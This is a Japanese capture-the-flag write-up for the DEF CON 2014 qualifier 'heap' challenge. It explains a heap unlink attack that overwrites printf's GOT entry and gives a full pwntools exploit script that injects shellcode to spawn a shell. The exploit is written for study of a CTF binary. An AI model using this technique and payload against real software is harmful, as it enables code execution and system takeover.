CTF
writeup
Pwnable

DEF CON CTF Qualifier 2014: heap writeup

問題

https://github.com/ctfs/write-ups-2014/blob/master/def-con-ctf-qualifier-2014/heap/README.md

解法

 unlink attackを使った問題。10個目に確保したchunkは260バイトだが、オバーフローの脆弱性により11個目以下ののchunkにも任意の値を書き込める。10個目のchunkを以下のように調整して9個目のchunkがfreeされたときにprintf()のgotを書き換えるようにする。

 chunk[10] ---> +-----------+
                |   size    |       
                +-----------+      +----------------+ 
                |   fd      | ---> |printf_got-8    |
                +-----------+      +----------------+
           +--- |   bk      |      |printf_got-4    |
           |    +-----------+      +----------------+
           +--> |  jmp 0x8  |      |printf_got      |
                +-----------+      +----------------+
                | "A" * 10  |
                +-----------+
                | shellcode |
                +-----------+
                |  padding  |
 chunk[11] ---> +-----------+
                |  0(freed) |
                +-----------+

 この問題ではfreeとmallocは独自実装になっている。exploitコードは以下のようになる。

exploit.py
from pwn import *
from re import findall
import sys

context(arch='i386', os='linux')
printf_got = 0x804c004

if sys.argv[1] == 'r':
    r = remote('localhost', 5000)
elif sys.argv[1] == 'l':
    r = process('./heap')

# get array[10] addr
msg = r.recvuntil("Write to object [size=260]:").decode('utf-8')
log.info(msg)
array_10_addr = int(findall("loc=(\w+)", msg)[10], 16)

# build payload
payload = p32(printf_got - 8)                             # fd
payload += p32(array_10_addr + 8)                         # bk
payload += b"\xeb\x08" + b"A" * 8 + asm(shellcraft.sh())  # shellcode 
payload += b"A" * (260 - len(payload))                    # padding
payload += p32(0)                                         # size | prev_used_flag

# debug
with open('payload', 'bw') as f:
    f.write(payload)

r.sendline(payload)
log.info(r.recv().decode('utf-8'))
r.interactive()
r.close()